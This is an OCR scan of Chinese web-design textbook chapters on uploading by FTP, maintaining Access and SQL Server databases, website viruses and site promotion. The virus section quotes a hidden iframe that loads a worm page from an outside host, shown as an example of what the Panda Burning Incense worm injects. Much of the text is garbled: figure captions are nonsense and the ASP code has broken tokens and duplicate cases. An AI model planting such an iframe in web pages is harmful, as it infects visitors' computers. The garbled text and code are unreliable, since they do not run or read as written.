删除 文件 : 删除 本 地 或 服务 器 上 的 文件 。 
文件 属性 : 查看 本 地 文件 或 服务 器 文件 的 属性 。 
添加 当前 站 点 : 将 当前 打开 的 站 点 添加 到 站 点 管理 器 中 。 
创建 站 点 快捷 方式 : 将 当前 打开 的 站 点 创建 一 个 桌面 快捷 方式 。 打 开 这 个 快捷 方式 时 ， 可 以 
自动 使 用 LeapFTP 登录 这 个 站 点 。 
运行 脚本 : 运行 FTP 命令 编辑 的 FTP 脚本 。 
上 级 目录 : 返回 上 一 级 目录 。 
更 改 目录 : 转 跳 到 一 个 指定 的 目录 。 
刷新 ， 刷新 目录 列表 。 
站 点 管理 
专门 的 FTP 管理 软件 常常 有 站 点 管理 的 功能 ， 可 以 方便 地 实现 对 多 个 站 点 的 管理 ， 不 需要 每 次 都 
输入 登录 信息 。 在 LeapFTP 中 选择 “站 点 ”| “站 点 管理 器 ”命令 ， 即 可 对 站 点 进行 管理 。 如 图 16-6 
所 示 为 LeapFTP 管理 工作 站 点 。 需 要 登录 站 点 时 ， 只 需要 双击 这 个 站 点 即 可 连接 FTP 服务 器 。 
3. 组 的 管理 


如 果 需 要 管理 的 FTP 站 点 很 多 ， 可 以 使 用 LeapFTP 中 的 组 工具 。 如 图 16-7 所 示 ， 在 LeapFTP 的 
“站 点 管理 器 ”对 话 框 中 单 击 “ 添 加 组 ”按钮 ， 可 以 在 LeapFTP 中 新 建 一 个 组 ， 并 在 这 个 组 中 新 建 和 
管理 站 点 。 设 置 好 组 和 站 点 以 后 ， 如 果 要 管理 这 个 网 站 ， 只 需要 在 站 点 管理 器 中 双击 这 个 站 点 即 可 。 
这 种 FTP 远程 站 点 的 管理 方式 非常 方便 。 
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庆 加 组 Q) | 组 | SD 退出 | 太 [vo] Mw | Fs 
图 16-6 在 LeapFTP 中 管理 站 点 图 16-7 在 LeapFTP 中 添加 组 和 站 点 
4. 保存 列队 和 载 入 列队 


LeapFTP 需要 上 传 或 下 载 的 文件 可 能 很 多 ， 如 果 一 次 无 法 完成 上 传 或 下 载 任务 ， 可 以 保存 列队 下 
一 次 继续 工作 。 选 择 “ 列 队 ”| “保存 列队 ”命令 ， 即 可 保存 一 个 列队 。 保 存 列队 的 列表 如 图 16-8 所 
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示 。 如 果 选 中 “保存 包含 主机 数据 ” 单 选 按钮 ， 只 需要 双击 打开 这 个 列队 文件 ， 即 可 自动 执行 上 一 次 
的 列队 操作 。 可 以 选择 “列队 ” | “ 载 入 列队 ”命令 来 载 入 一 个 列队 。 


保存 队列 | 
G 保存 包 合 主机 数据 .1:9) 个 保存 不 包 合 主机 数据 (+ 14f) 
主机 数据 
[TIETECTR 六 品 i 
用 户 各 : Fez sy fe 
厂 汇 名 四 录 


文件 各， \Docments and Settines\Administrator\ 硕 2 


保存 @) 取消 0D 高 级 < 


克 传输 后 关闭 LeapFTP 
搞 IST | 友信 和 后 所 


图 16-8 用 LeapFTP 保存 列队 
16.2.3 ”使 用 Windows 自 带 的 FTP 命令 行 工具 上 传 网 页 


借助 于 Dreamweaver 或 者 其 他 专门 的 FTP 管理 工具 可 以 方便 地 管理 站 点 , 但 是 有 些 FTP 六 
并 不 支持 这 些 软 件 ， 在 有 些 计算 机 上 可 能 没有 这 些 软 件 。Windows 提供 了 命令 行 下 的 FTP 客 / 
[ 具 ， 可 以 很 好 地 支持 各 种 FTP 站 点 。 

在 “开始 ” 的 “运行 ”工具 中 输入 “ftp”， 即 可 启动 命令 行 下 的 FTP 工具 。 如 图 16-9 所 示 为 
命令 行 下 的 FTP 管理 工具 。 命 令 行 的 FTP 只 有 少量 的 几 个 命令 ， 使 用 时 只 需要 输入 需要 操作 的 指令 
即 可 。 


CAMETPOTSNS 攻 本 
inistrator>ftp 


图 16-9 命令 行 下 的 FIP 管理 工具 
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命令 行 FTP 的 示例 与 常用 命令 如 下 。 

回 Open www.wuhansan.com 

Open: 打开 远程 FTP 站 点 。 在 提示 已 经 链接 以 后 ， 需 要 在 user 与 password 的 提示 下 输入 用 户 名 
与 口令 。 

Cd wwwroot 

Cd: 打开 远程 文件 夹 ， 与 DOS 命令 一 样 ， 可 以 打开 文件 夹 与 文件 切换 。 

回 Put d:\1.asp a.asp 

Put: 把 di\1.asp 上 传 到 服务 器 中 已 经 选择 的 文件 夹 中 ， 重 命名 为 aasp。 

加 Geta.asp e:\a.asp 

Get: 把 服务 器 当前 目录 下 的 a.asp 文件 下 载 到 本 地 计算 机 ， 放 到 e\ 下 ， 并 且 命名 为 aasp。 

Del a.asp 

Del: 删除 当前 目录 下 的 文件 aasp。 

名 Ren a.asp b.asp 

Ren: 把 服务 器 中 当前 文件 夹 下 的 文件 aasp 重 命名 为 basp。 

回 Bye 

Bye: 断 开 当前 的 FTP 连接 。 

回 Mkdir aa 

Mkdir: 创建 一 个 新 文件 夹 aa。 

回 Rmdir aa 

Rmdir: 删除 文件 夹 aa。 

加 Help 

Help: 显示 FTP 的 帮助 信息 。 如 果 Help 后 面 接 一 个 相关 命令 ， 则 会 显示 这 条 命令 的 帮助 信息 。 


16.3 常见 问题 


16.3.1 FTP 服务 器 不 能 连接 的 问题 


FTP 常常 会 出 现 那 种 已 经 正确 输入 登录 信息 而 无 法 连接 的 情况 ， 这 是 因为 FTP 服务 器 可 能 有 不 同 
的 服务 软件 与 工作 模式 。FTP 客户 端 需要 更 改 相 关 的 设置 才 可 以 正常 登录 FTP。 
FTP 登录 最 常用 的 设置 是 PORT (主动 ) 与 PASV (被 动 ) 两 种 模式 的 设置 。 
回 PORT 方式 的 连接 过 程 ， 是 客户 端 向 服务 器 的 FTP 端口 发 送 连接 请 求 ， 服 务 器 接受 连接 ， 主 
动 连接 客户 端 ， 建 立 一 条 命令 链 路 。 
加 ”PASYV 方式 的 连接 过 程 ， 是 客户 端 向 服务 器 的 FTP 端口 发 送 连接 请 求 ， 服 务 器 被 动 接受 连接 ， 
建立 一 条 命令 链 路 。 
如 果 登 录 模 式 没有 正确 设置 可 能 无 法 正常 登录 FTP。 如 图 16-10 所 示 为 LeapFTP 的 一 些 自 定 义 登 
录 设 置 。 
如 果 无 法 登录 服务 器 ， 可 以 选中 “使 用 PASV 模式 ” 复 选 框 。 
还 有 一 种 情况 是 可 以 登录 网 站 ， 但 是 无 法 登录 FTP 管理 。 这 种 情况 可 能 与 本 地 的 网 络 设置 有 关 ， 
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也 可 能 是 服务 器 的 FTP 服务 原因 。 
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图 16-10 LeapFTP 的 登录 设置 


16.3.2 ”用 网 站 空间 的 管理 功能 进行 网 站 空间 的 管理 


某 些 网 站 空间 提供 了 网 站 管理 功能 。 在 空间 管理 的 面板 上 ， 可 以 对 网 站 的 FTP 登录 信息 、 网 站 的 
域名 等 内 容 进行 一 定 的 设置 。 如 图 16-11 所 示 的 空间 管理 面板 ， 可 以 进行 以 下 设置 。 

(1) 在 “FTP 密码 ”文本 框 中 可 以 设置 FTP 的 登录 密码 。 

(2) 在 “加 新 域名 ”文本 框 中 可 以 增加 这 个 空间 访问 的 域名 ， 然 后 将 域名 所 指向 的 IP 地 址 解析 
到 这 个 服务 器 的 了 P 即 可 。 

(3) 在 “加 新 文档 ”文本 框 中 可 以 增加 网 站 的 默认 首页 文档 。 


上 代号 
服务 器 
PTP 膨 户 各 wh 上 信 
PE WD: EE [E24| 
名 下 PTP 冤 码 后 新 灾 码 立 轿 生效 请 肥 关 保管 人 二 入 码 切 如 洁 诉 族人 . 认 轩 守 码 只 宙 用 娄 
字 ， 字母 及 下 则 皮 ， 请 订 全 用 压 法 字符 
文件 上 传 推荐 使 用 cuteFtz 或 lespFtF， 文 冲 估 至 wwwroat 目 录 下 。 
十 二名 
1 wm ras em | 
sim am | 
3 sindo. cn | 
1 城 各 | 
主机 一 经 中 请 立即 生 次， 孙 统 术 记分 杞 一 个 三 妇 红 各 。 
您 本 以 自己 地 定神 六 域名 。 注 意 红 名 于 模 向 为: 8.49 58 51 
到 首页 


当 在 5 吕 论 入 癌 页 路 径 而 没有 指定 内 让 文件 各 时 。 系 纺 格 控 归 新 设置 的 寺 认 文档 查找 问 


页 。 pm0 : 请 入 http:/1rrv_tomain con/ ， 东 六 衣 本 在 所 设置 和 默认 文档 中 从 左 到 右 搜 索 
直 丰 扒 阿 面 林 Wl 县 去 - 


图 16-11 在 服务 器 控制 面板 上 管理 网 站 的 空间 
一 个 网 站 可 以 使 用 多 个 域名 ， 域 名 解析 到 服务 器 的 他 上 以 后 ， 需 要 在 这 个 面板 上 进行 域名 绑 定 。 


16.3.3 ”一 个 网 站 空间 上 放置 多 个 网 站 的 方法 


如 果 一 个 网 站 空间 可 以 有 多 个 域名 ， 每 一 个 域名 都 可 以 访问 这 个 网 站 ， 那 么 就 可 以 用 一 个 网 站 空 


@ 
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间 放 多 个 网 站 。 实 现 的 方法 是 ， 在 网 站 的 首页 对 访问 网 站 的 域名 进行 判断 ， 对 不 同 的 域名 再 转向 不 同 
的 主页 。 实 现 这 个 功能 可 以 用 下 面 的 网 页 代码 作为 网 站 首页 。 


<% 

Dim url 

url=Icase(request.servervariables("http_host")) "取得 网 站 访问 的 域名 再 改 成 小 写 
Select case url "根据 不 同 的 域名 再 跳 转 到 不 同 的 网 页 


Case "www.cctv1.com" 
response.redirect("index1.asp") 
case "www.cctv1.com" 
response.redirect("index2.asp") 
case "Www.cctv1.com” 
response.redirect("index3.asp") 
end select 
%> 


16.4 小 结 
本 章 讲述 了 网 站 的 测试 与 发 布 。 网 站 完成 设计 以 后 ， 测 试 与 发 布 是 一 个 重要 环节 。 借 助 于 


Dreamweaver CS6 的 网 站 测试 功能 ,可 以 修正 网 页 中 的 链接 与 内 容错 误 。 完成 测试 后 的 网 站 , 通过 FTP 
软件 上 传 到 服务 器 上 的 网 站 空间 ， 供 用 户 浏 览 。 


第 | / 间 


Bi 


网 站 的 日 常 维护 


内 ”网 下 数据 库 内 容 维护 
六 ”网 页 维护 更 新 
扣 ” 网 咎 系统 维护 


网 站 完成 设计 在 服务 器 正常 运行 以 后 ， 还 需要 对 网 站 进行 长 期 的 维护 和 更 新 。 针 对 静 
态 网 站 ， 需 要 及 时 更 新 网 页 的 内 容 ， 使 网 站 的 内 容 与 网 站 的 实际 需求 同步 。 对 于 动态 网 站 
需要 及 时 在 网 页 后 台 添加 网 站 的 内 容 ， 及 时 发 现 和 修改 网 站 中 可 能 出 现 的 问题 。 网 站 设计 
的 完成 ， 只 是 一 个 网 站 的 初级 阶段 ， 后 期 还 需要 经 过 长 期 的 扩充 与 更 新 ， 使 网 站 不 断 地 丰 
富 与 强大 。 
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17.1 网 站 数据 库 内 容 维护 


网 站 的 数据 库 在 运行 时 会 经 常 
据 库 的 文件 急剧 地 增 大 或 产生 一 些 数据 错误 。 这 就 要 定期 对 数据 库 进行 压缩 和 修复 的 操作 。 


17.1.1 Access 数据 库 的 压缩 和 修复 


Office 的 Access 软件 自 带 有 Access 数据 库 压缩 功能 ， 可 以 利用 这 个 功能 压缩 和 修复 数据 库 。 
将 网 站 的 数据 库 用 FTP 软件 下 载 到 本 地 计算 机 ,然后 用 Access 打开 , 选择 “数据 库 工具 ”|“ 压 
缩 和 修复 数据 库 ” 命 令 ， 即 可 实现 Access 数据 库 的 压缩 和 修复 。 可 以 发 现 压缩 以 后 的 数据 库 文件 会 减 
小 很 多 。 
也 可 以 用 ASP 编程 的 方法 实现 数据 库 的 压缩 。 下 面 是 用 ASP 实现 Access 数据 库 服 务 器 压缩 和 修 
复 的 全 部 代码 。 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<% 
Const JET_3X=4 'Access 97 的 JET 版 本 
Function CompactDB(dbPath, boolls97) 
Dim fso, Engine, strDBPath 
strDBPath = left(dbPath,instrrev(DBPath,"\")) 


Set fso = CreateObject("Scripting.FileSystemObject ) 
If fso.FileExists(dbPath) Then 文件 路 径 正确 时 执行 压缩 


Set Engine = CreateObject("JRO.JetEngine") 


lf boolls97 = "True" Then 
Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbpath, _ 


"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & "temp.mdb;” _ 


& "Jet OLEDB:Engine Type=" & JET_3X "Access 97 的 情况 
Else 
Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbpath, _ 
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & "temp.mdb" 
End If 'Access 2000 的 压缩 
fso.CopyFile strDBPath & "temp.mdb",dbpath "可 压缩 后 的 数据 库 覆 盖 以 前 的 数据 库 
fso.DeleteFile(strDBPath & "temp.mdb") "删除 产生 的 压缩 数据 库 


Set fso = nothing 

Set Engine = nothing 

CompactDB = "您 所 指定 的 数据 库 , " & dbpath & ", 已 经 使 用 过 压缩 ." & vbCrLf 

Else ' 对 数据 库 的 压缩 情况 进行 报告 
CompactDB = "请 检查 您 的 数据 库 路 径 ." & vbCrLf 

End If 

End Function 

%> 

<form name="zipdata" method="post" action="zipdata.asp"> 


人 的 
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数据 库 地 址 : <input type="text" name="dbpath" value="db1.mdb"> 

<input type="checkbox" name="boodlls97" value="True">ACCESS97 数据 库 </td> 

<input type="submit" name="submit" value=" 压 缩 数 据 库 "></form> 

<% 

Dim dbpath,boolls97 

dbpath = request("dbpath") 

boolls97 = request("boolls97") 

If dbpath <> " Then 数据 库 路 径 不 为 空 ， 则 执行 数据 库 压缩 
dbpath = server.mappath(dbpath) 
response.write(CompactDB(dbpath,boolls97)) 

End If 

%> 


ASP 提供 了 Engine.CompactDatabase 的 方法 来 实现 数据 库 的 压缩 。 这 段 程序 实际 上 是 用 一 个 表单 
输入 数据 库 的 路 径 ， 然 后 调用 Engine.CompactDatabase 来 实现 数据 库 的 压缩 。 压 缩 以 后 会 产生 一 个 新 


数据 库 文件 ， 将 这 个 压缩 后 的 数据 文件 复制 并 覆盖 以 前 的 数据 库 文件 ， 再 删除 这 个 临时 的 数据 库 文件 。 
这 个 步骤 如 图 17-1 所 示 。 


复制 ， 覆 盖 


以 前 数据 库 


删除 临时 数据 库 
图 17-1 数据 库 压 缩 原理 图 


如 图 17-2 所 示 是 Access 数据 压缩 的 网 页 运行 效果 。 


ET 21 rindats/ ripdnts. ss — Micro TR 本 PE 
文件 四 。 加 龟 到 查看 收 立 Q) 工具 中 玫 助 oD | | 
Om © A mm mr | Se 


于 [入 Np//1ocdtost fr21/ ripete/ ipate ssp EES 


数据 库 地 直 ， [ET 三 AccEsse7 数 据 库 


BEd Ti [| 由 meet 加 


图 17-2 用 ASP 程序 实现 Access 数据 库 的 压缩 


17.1.2”SQL Server 2008 的 数据 库 维 护 


SQL Server 2008 数据 库 有 自 带 的 数据 库 压缩 和 管理 机 制 ， 系 统 会 定期 自动 地 完成 数据 库 的 压缩 和 
管理 等 日 常 维护 。 
针对 SQL Server 2008 的 日 常 维护 ， 用 户 需 要 注意 设置 用 户 的 管理 权限 。 数据库 权 限 用 来 指明 用 户 


@ 


获得 哪些 数据 库 对 象 的 使 用 权 ， 以 及 用 户 能 够 对 这 些 对 象 执行 哪些 操作 。 用 户 在 数据 库 中 拥有 的 权限 
取决 于 以 下 两 方面 的 因素 : 用 户 账户 的 数据 库 权限 和 用 户 所 在 角色 的 类 型 。 


1. 对 象 权限 


在 SQL Server 2008 中 ， 所 有 对 象 权限 都 可 以 授予 ， 可 以 作为 特定 的 对 象 、 特 定 类 型 的 所 有 对 象 和 
所 有 属于 特定 架构 的 对 象 管理 器 。 

在 服务 器 级 别 ， 可 以 为 服务 器 、 端 点 、 登 录 和 服务 器 角色 授予 对 象 权限 ， 也 可 以 作为 当前 的 服务 
器 实例 管理 权限 ， 在 数据 库 级 别 ， 可 以 为 应 用 程序 角色 、 程 序 集 、 非 对 称 密 钥 、 凭 据 、 数 据 库 角色 、 
数据 库 、 全 文 目录 、 函 数 、 架 构 等 管理 权限 。 

一 旦 有 了 保存 数据 的 结构 之 后 ， 就 需要 为 用 户 授予 使 用 数据 库 中 数据 的 权限 ， 可 以 通过 给 用 户 授 
予 对 象 权限 来 实现 。 利 用 对 象 权 限 ， 可 以 方便 地 控制 谁 能 够 读 取 、 写 入 或 者 以 其 他 方式 操作 数据 。 


2. 语句 权限 


语句 权限 是 用 于 控制 创建 数据 库 或 者 数据 库 中 的 对 象 所 涉及 的 权限 。 
用 企业 管理 器 登录 远程 SQL Server 2008 服务 器 ， 选 择 自己 网 站 的 数据 库 ， 右 击 数据 库 名 ， 从 弹出 
的 快捷 菜单 中 选择 “属性 ”命令 ， 打 开 “ 数 据 库 属 性 ”窗口 ， 如 图 17-3 所 示 。 


| 台 凡 * 基 珊 
图 外 | 马 
日 音 份 


孝 据 库 上 次 备份 日 其 
教 据 永 日 志 上 次 首 份 昌明 
数据 库 


日 


17-3 ”查看 SQL Server 2008 中 数据 库 的 属性 


选中 “权限 ”选项 ， 打 开 “ 权 限 ” 选 项 页 面 ， 从 “用 户 或 角色 ”列表 中 单 击 选中 一 个 用 户 ， 便 可 
在 下 方 为 其 授予 权限 ， 如 图 17-4 所 示 。 


网 站 


于 


oress 
日 占 加 日 蝇 当 


图 17-4 在 SQL Server 2008 中 设置 用 户 的 权限 


17.2 网 页 维护 更 新 


在 正常 运行 以 后 ， 网 站 上 需要 添加 新 内 容 时 ， 需 要 对 网 站 的 内 容 进 行 及 时 的 更 新 。 静 态 网 站 


的 更 新 就 是 增加 新 的 网 页 内 容 ， 动 态 网 站 的 更 新 可 以 在 网 站 后 台 方 便 地 操作 。 


T7221 


静态 网 站 的 维护 更 新 


静态 网 站 完成 以 后 ， 维 护 和 更 新 需要 以 重新 设计 网 页 的 形式 进行 。 在 需要 进行 网 站 更 新 时 ， 需 要 
根据 已 有 的 网 页 作为 模板 ， 将 需要 更 新 的 内 容 进行 更 改 ， 再 在 相应 的 网 页 上 添加 链接 ， 链 接 到 新 建 的 
网 页 。 最 后 ， 将 新 建 的 网 页 和 已 经 更 新 的 网 页 上 传 到 网 站 服务 器 上 。 


[wl 


加 


网 页 更 新 : 如 果 需 要 更 新 网 页 的 具体 内 容 和 网 页 效果 ， 就 需要 重新 设计 网 页 。 这 时 可 以 重新 
设计 网 页 效果 图 和 网 页 的 布局 ， 更 新 以 后 重新 上 传 到 网 站 的 服务 器 空间 。 

图 片 更 新 : 网 页 如 果 只 更 新 图 片 而 不 更 新 其 他 内 容 ， 可 以 将 新 图 片 编辑 以 后 重 命名 为 和 原来 
图 片 一 样 的 文件 名 ， 然 后 上 传 到 服务 器 覆盖 以 前 的 图 片 。 使 用 LeapFTP 上 传 网 页 时 ， 如 果 提 
示 是 否 覆 盖 以 前 的 文件 ， 单 击 “ 和 覆盖” 按钮 ， 即 可 禾 盖 以 前 的 文件 ， 如 图 17-5 所 示 。 

新 闻 内 容 等 信息 的 更 新 : 如 果 网 页 只 更 新 新 闻 等 信息 网 页 ， 可 以 使 用 网 页 模板 直接 新 建 一 个 
网 页 ， 也 可 以 将 类 似 的 网 页 复制 一 份 ， 在 原 有 网 页 的 基础 上 修改 ， 然 后 在 相关 的 列表 网 页 上 
添加 一 个 链接 。 
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EEEEEEB | 
重复 的 远程 文件 : edit js 


本 地 文件 :9 261 字 节 ， 2007-10-30 8:35 
运程 文件 。 9, 261 字 节 ， 2007-7-5 20:49 
续 传 四 | 重合 名 四) | 中 过 加 
全 部 履 盖 W) 职 消 CC) 全 部 跳 过 (A) 


图 17-5 用 LeapFTP 上 传 文件 时 覆盖 以 前 的 文件 
17.2.2 ”动态 网 站 的 更 新 


动态 网 站 的 更 新 可 以 分 为 网 页 数据 库 内 容 的 更 新 和 网 站 功能 的 更 新 。 

动态 网 站 设计 完成 以 后 ， 一 般 都 有 比较 完整 的 网 站 内 容 管 理 功 能 。 网 站 的 后 台 可 以 方便 地 对 数据 
库 的 内 容 进 行 管理 和 更 新 ， 从 而 完成 对 网 站 内 容 的 管理 。 网 站 的 后 台 ， 一 般 制作 有 类 似 于 电子 邮件 的 
那 种 数据 填写 和 提交 功能 , 输入 相关 的 数据 后 单 击 “ 提 交 ” 按 钮 ， 即 可 实现 网 站 数据 的 更 新 。 如 图 17-6 
所 示 为 新 闻 管 理 功能 的 新 闻 添加 网 页 。 


新 闻 添 加 

NW 网 8 题 [可 最 FR 信 E 
4 基 。 [ 国 于 本 本 

可 藉 夺 产品 信息 习 

公司 最 新 产品 信息 | 
新 闻 内 容 

习 
E33 


图 17-6 新 闻 管理 系统 的 新 闻 添加 网 页 


这 种 动态 网 站 一 般 具 有 完整 的 管理 功能 ， 可 以 对 网 站 的 大 部 分 数据 进行 管理 更 新 ， 但 是 ， 动 态 网 
站 中 有 时 需要 更 改 或 添加 一 些 功能 。 在 对 网 站 进行 更 新 时 ， 需 根据 网 站 更 新 的 需要 对 网 站 的 程序 或 模 
块 进行 一 定 的 修改 ， 完 成 修改 或 测试 以 后 把 网 页 上 传 到 网 站 服务 器 。 


17.3 ”网 站 系统 维护 


网 站 在 服务 器 上 正常 运行 之 后 ， 可 能 出 现 程序 错误 或 病毒 感染 等 问题 。 特 别 是 动态 网 站 ， 在 运行 
一 段 时 间 以 后 ， 可 能 会 产生 一 些 程序 开发 时 无 法 考虑 到 的 程序 问题 ， 在 进行 网 站 系统 维护 时 ， 需 要 及 
时 发 现 和 更 改 这 些 问题 。 

现在 网 络 上 流行 着 很 多 专门 感染 网 站 的 病毒 。 网 站 文件 感染 这 些 病毒 以 后 ， 再 通过 用 户 的 访问 向 
用 户 的 计算 机 上 传播 ， 使 用 户 计算 机 出 现 各 种 异常 。 对 网 站 病毒 的 处 理 方法 是 经 常 更 新 自己 的 杀毒 软 
件 ， 常 对 网 站 文件 进行 杀毒 。 当 出 现 “ 熊 猫 烧香 ”“ 灰 饮 子 ”等 具有 很 强 感 染 力 的 病毒 时 ， 需 要 及 时 
对 网 站 进行 处 理 和 防护 。 
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在 设计 出 的 网 页 中 常 出 现代 码 <IFRAME src="http://www.krvkr.com/worm.htm" width= height=0> 
</IFRAME>， 这 个 代码 在 网 页 中 包含 一 个 含有 病毒 程序 的 网 页 。“ 熊 猫 烧香 ”病毒 能 使 计算 机 中 的 所 
有 网 页 加 入 这 段 代 码 。 网 页 上 传 到 服务 器 以 后 ， 会 将 网 页 中 的 病毒 传播 到 使 用 浏览 网 页 的 计算 机 ， 可 
以 使 用 某 些 病毒 专 杀 工具 扫描 计算 机 。 如 图 17-7 所 示 是 瑞星 “熊猫 烧香 ” 专 杀 工具 扫描 出 计算 机 中 含 
有 病毒 代码 的 网 页 。 


Eocwments and Settines\Nininisir ator\Locul Settines\Tenporery Internet Files\Cont 
图 17-7 瑞星 “熊猫 烧香 ” 专 杀 工 具 检 查 出 网 页 中 含有 病毒 代码 


如 果 网 站 是 在 一 个 自己 的 独立 服务 器 上 运行 ， 就 需要 对 服务 器 进行 管理 。 对 服务 器 的 管理 需要 对 
服务 器 进行 安全 设置 和 策略 管理 ， 及 时 更 新 系统 和 更 新 杀毒 软件 。 需 要 定期 查看 服务 器 运行 日 志 ， 对 
服务 器 日 志 中 记录 的 异常 进行 及 时 的 分 析 和 处 理 。 


17.4 常见 问题 


17.4.1 动态 网 站 数据 库 备份 的 问题 


动态 网 站 的 所 有 数据 存放 在 网 站 服务 器 的 数据 库 中 。 网 站 更 新 和 管理 时 ， 都 是 直接 在 网 络 上 进行 ， 
网 络 数据 库 并 没有 保存 到 本 地 。 网 站 在 运行 一 段 时 间 后 可 产生 大 量 的 网 站 数据 ， 这 时 ， 网 站 数据 库 的 
备份 就 非常 重要 了 。 网 站 服务 器 的 运行 有 很 大 的 不 稳定 性 ， 网 站 数据 库 可 能 因为 病毒 感染 、 服 务 器 硬 
件 问题 、 服 务 器 系统 衣 溃 等 原因 而 丢失 ， 所 以 ， 要 及 时 备份 网 站 的 数据 库 。 


1. Access 数据 库 的 备份 


对 于 Access 数据 库 的 备份 ， 需 要 定期 把 网 站 的 数据 库 用 FTP 下 载 到 本 地 进行 保存 。 当 数据 库 出 现 
异常 以 后 ， 可 以 及 时 地 把 备份 的 数据 上 传 到 服务 器 空间 中 。 


2. SQL Server 2008 数据 库 的 备份 


对 于 SQL Server 2008 数据 库 , 网 站 的 数据 库 并 不 是 单独 的 文件 , 数据 库 并 不 能 用 下 载 的 方式 备份 。 
可 以 使 用 前 面 章 节 讲 过 的 SQL Server 2008 的 数据 导入 导出 工具 , 实现 远程 服务 器 的 数据 库 与 本 地 SQL 
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Server 2008 数据 库 的 数据 内 容 同 步 ， 也 可 以 在 服务 器 上 备份 数据 库 。 

在 SQL Server 2008 的 企业 管理 器 中 选择 一 个 数据 库 并 右 击 ， 在 弹出 的 快捷 菜单 中 选择 “任务 ” 命 
令 ， 再 选择 “备份 ”命令 ， 即 可 对 一 个 数据 库 进行 备份 。 如 图 17-8 所 示 , 设置 好 备份 的 文件 ， 单 击 “ 确 
定 ” 按 钮 ， 即 可 完成 数据 库 的 备份 操作 。 
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图 17-8 ”SQL Server 2008 数据 库 的 备份 
17.4.2 ”本 地 计算 机 安全 问题 与 网 页 病毒 


进行 网 站 开发 ， 尤 其 要 注意 计算 机 的 安全 问题 。 有 很 多 计算 机 病毒 都 是 在 网 站 设计 时 感染 设计 的 
网 页 ， 再 通过 上 传 时 保存 在 服务 器 上 。 用 户 访问 这 个 网 页 时 ， 就 可 以 感染 计算 机 病毒 。 进 行 网 站 开发 
的 计算 机 需要 经 常 更 新 杀毒 软件 ， 扫 描 计算 机 ， 保 证 开发 出 的 网 页 的 安全 。 例 如 ，“ 熊 猫 烧香 ”就 是 
通常 在 网 页 制作 时 感染 到 服务 器 ， 再 使 浏览 网 页 的 计算 机 中 毒 的 病毒 。 

“熊猫 烧香 ”是 一 个 感染 型 的 蠕虫 病毒 ， 能 感染 系统 中 exe、com、html、asp 等 文件 。 如 果 网 站 开 
发 人 员 的 计算 机 感染 此 病毒 ， 制 作 的 所 有 网 页 中 都 会 含有 病毒 代码 ， 这 些 病毒 代码 会 通过 网 站 的 上 传 
保存 在 服务 器 上 。 用 户 在 访问 这 个 网 页 时 ， 就 会 使 自己 的 计算 机 感染 病毒 。 

开发 人 员 要 有 非常 好 的 计算 机 安全 意识 。 当 发 现 自己 的 计算 机 有 异常 情况 后 需要 及 时 处 理 。 如 果 
在 开发 的 网 站 中 有 不 安全 的 因素 ， 常 常会 造成 比较 严重 的 后 果 。 


17.4.3 ”网 站 程序 的 保密 问题 


如 果 得 到 了 一 个 网 站 的 所 有 程序 ， 那 么 ， 通 过 对 网 站 代码 的 分 析 ， 就 会 发 现 网 站 中 安全 管理 可 能 
存在 的 一 些 问题 。 在 网 站 开发 时 通常 不 能 完全 考虑 到 所 有 的 与 安全 相关 的 程序 问题 ， 所 有 网 站 的 程序 


全- 


需要 进行 一 定 的 保密 ， 一 般 不 可 轻易 地 交付 他 人 。 

对 于 Access 数据 库 的 ASP 网 站 ,如 果 得 到 网 站 的 代码 以 后 , 常常 可 以 下 载 网 站 的 数据 库 。 而 SQL 
Server 2008 数据 库 的 网 站 ， 数 据 库 连 接 的 代码 常 是 明文 记录 的 ， 用 户 得 到 了 网 站 代码 以 后 就 可 以 进入 
SQL Server 2008 数据 库 。 例 如 ，SQL Server 2008 的 ASP 连接 SQL Server 2008 的 代码 常 是 这 样 写 的 : 

<% 

set conn=Server.CreateObject("adodb.Connection") 

Conn.Open "PROVIDER=SQLOLEDB.1;Data Source=192.168.1.12;Initial Catalog=mydb;Persist Security 

Info=True;User ID=userid;Password=password;Connect Timeout=30" 

set rs=server.createobject("adodb.recordset") 

%> 

在 取得 上 面 这 些 代码 后 ， 就 可 以 对 数据 库 进 行 任意 的 控制 。 所 以 需要 对 网 站 的 程序 进行 保密 ， 必 
要 时 使 用 ASP Encoder 对 网 页 的 代码 进行 加 密 。 


17.5. 结 


本 章 讲述 了 网 站 的 日 常 维护 与 管理 。 其 中 ,数据 的 更 新 和 网 站 数据 的 管理 是 网 站 维护 的 重要 内 容 。 
网 站 的 内 容 需 要 根据 实际 需要 进行 及 时 的 更 新 ， 这 样 才能 保证 网 站 信息 的 及 时 性 ， 才 能 丰富 网 站 的 内 
容 。 在 进行 网 站 管理 时 ， 要 充分 考虑 到 一 些 安全 问题 和 不 稳定 因素 ， 对 网 站 的 内 容 和 网 站 的 数据 库 进 
行 及 时 的 备份 和 管理 ， 对 网 站 的 安全 进行 管理 ， 以 实现 网 站 运行 的 长 期 稳定 。 


网 站 的 宣传 推广 


至 册 到 搜索 引擎 
发 布 信息 推广 
网 咎 排名 

网 下 竞价 排名 
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网 站 发 布 以 后 ,最 迫切 的 问题 就 是 让 大 量 的 用 户 访问 这 个 网 站 ,使 这 个 网 站 的 信息 可 
以 被 更 多 的 人 接受 。 这 个 让 用 户 认 识 和 认可 一 个 网 站 的 过 程 ， 就 是 网 站 的 宣传 推广 。 一 个 
网 站 ， 如 果 完 成 设计 以 后 不 去 推广 ， 而 只 有 少量 的 用 户 访问 ， 这 样 不 能 体现 出 这 个 网 站 信 
息 发 布 的 价值 。 网 站 推广 的 方法 很 多 ， 可 以 使 用 不 付费 的 方法 推广 ， 也 可 以 用 搜索 引擎 况 
价 排 名 推广 或 传统 广告 进行 推广 。 
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18.1 注册 到 搜索 引擎 


搜索 引擎 就 是 一 些 用 来 为 用 户 提供 搜索 服务 功能 的 网 站 。 用 户 常 通过 搜索 引擎 查找 自己 所 需要 的 
网 站 或 信息 ， 然 后 根据 搜索 到 的 结果 点 击 所 需要 的 网 站 。 所 以 ， 网 站 如 果 可 以 出 现在 搜索 引擎 的 结果 
中 ， 就 可 以 使 大 量 的 人 访问 自己 的 网 站 。 

